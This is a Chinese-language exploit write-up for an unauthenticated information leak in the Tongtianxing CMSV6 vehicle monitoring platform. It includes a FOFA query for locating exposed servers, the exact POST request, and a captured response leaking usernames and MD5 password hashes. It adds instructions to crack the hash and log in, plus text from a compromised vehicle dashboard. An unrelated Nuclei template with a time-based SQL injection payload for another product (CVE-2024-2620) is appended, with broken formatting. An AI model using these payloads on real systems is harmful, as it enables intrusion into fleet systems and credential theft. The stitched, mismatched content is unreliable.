

T1-3通天星-CMSV6车载定位监控平台-InformationLeakage

漏洞描述：

通天星CMSV6车载视频监控平台 StandardLoginAction_getAllUser.action接口处存在信息泄露漏洞，未经身份认证的攻击者可以通过此漏洞获取系统内部账户密码等敏感信息，登录后台页面，使系统处于极不安全状态。

网站图片：



网络测绘：

fofa语法：

FOFA: body="/808gps/"

漏洞复现：

payload:

```
POST /808gps/StandardLoginAction_getAllUser.action HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

json=null
```

效果图:

读取所有账户列表

Request

<>数据包扫描热加载构造请求

1 POST /808gps/StandardLoginAction_getAllUser.action HTTP/1.1

2 Host:

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36

4 Content-Type: application/x-www-form-urlencoded; charset=UTF-8

5

6 json=null

Responses 4149bytes / 159ms

1 HTTP/1.1 200

2 Set-Cookie: JSESSIONID=A61877E5C853

3 Access-Control-Allow-Origin: *

4 Access-Control-Allow-Methods: *

5 Access-Control-Max-Age: 3600

6 Access-Control-Allow-Headers: Origin, Pragma, Last-Modified, Cache-Control

7 Access-Control-Allow-Credentials: true

8 X-XSS-Protection: 1; mode=block

9 vary: accept-encoding

10 Content-Type: application/json; charset=utf-8

11 Content-Language: en-US

12 Date: Fri, 23 Feb 2024 13:49:56 GMT

13 Content-Length: 4149

14

15 {"result":0,"infos":{"1":{"name":"a","password":"35b9e7c87848894548c4500","updateTime":1702880518000,"validity":1702880518000,"vehicleLogin":false,"singleLogin":true,"industry":null,"maxLoginNumber":0,"wxUnionid":null,"wxAppOpenid":null,"companyName":null,"phoneEx":null,"wxOpenid":null,"createTime":null,"driverName":null,"password":"35b9e7c87848894548c4500","dispatcher":0,"encryptPwd":null,"updateTime":1702880518000,"validity":1702880518000,"status":1,"openAutoLogin":true,"singleLogin":0,"roleId":null,"mainFunction":null,"modifyPassword":0,"geocoderMapType":0,"wxAppOpenid":null,"company":{"address":"admin","password":null,"dispatcher":0,"gbCode":null,"legalAddress":null,"

密码md5解密即可登录后台

智慧看板实时监控历史回放统计报表运营管理规则管理

请输入名称或编号

视频监控地图模式

监控中心 (19/29)

Y159EH05

Y179EH05

Y184EH05

Y188EE05

Y195EH05

Y197EH05

Y206ET05

Y208ET05

Y209ET05

Y213EE05

Y228ET05

Y232ET05

Y363EP05

Y379EP05

Y408EP05

Y696EB05

Y710EB05

Y250ET05

Y720EB05

Y265ET05

Y320EP05

Y344EP05

Y391EP05

Y686EB05

Y692EB05

Y693EB05

Y159EH05 - 15KB/S

Y159EH05 - 81KB/S

Y159EH05 - 36KB/S

Y159EH05 - 55KB/S

Y159EH05 - 22KB/S

Y159EH05 - 61KB/S

Y159EH05 - 57KB/S

Y159EH05 - 14KB/S

Yaml模板

```
id: F2-2FuJianKeLiXunTongXin-SQL

info:
  name: F2-2FuJianKeLiXunTongXin-SQL
  author: Kpanda
  severity: critical
  description: pwd_update.php接口处存在SQL注入漏洞
  reference:
    - https://blog.csdn.net/gq_41904294/article/details/136925239?spm=1001.2014.3001.5502
  tags: CVE-2024-2620, FuJianKeLiXunTongXin, SQL

http:
  - raw:
    - |
      GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(6)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP
      Host: [{Hostname}]
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate, br
```

Connection: close
Upgrade-Insecure-Requests: 1

```
matchers:  
- type: word  
  part: header  
  words:  
    - '200'  
- type: dsl  
  dsl:  
    - 'duration>=6'
```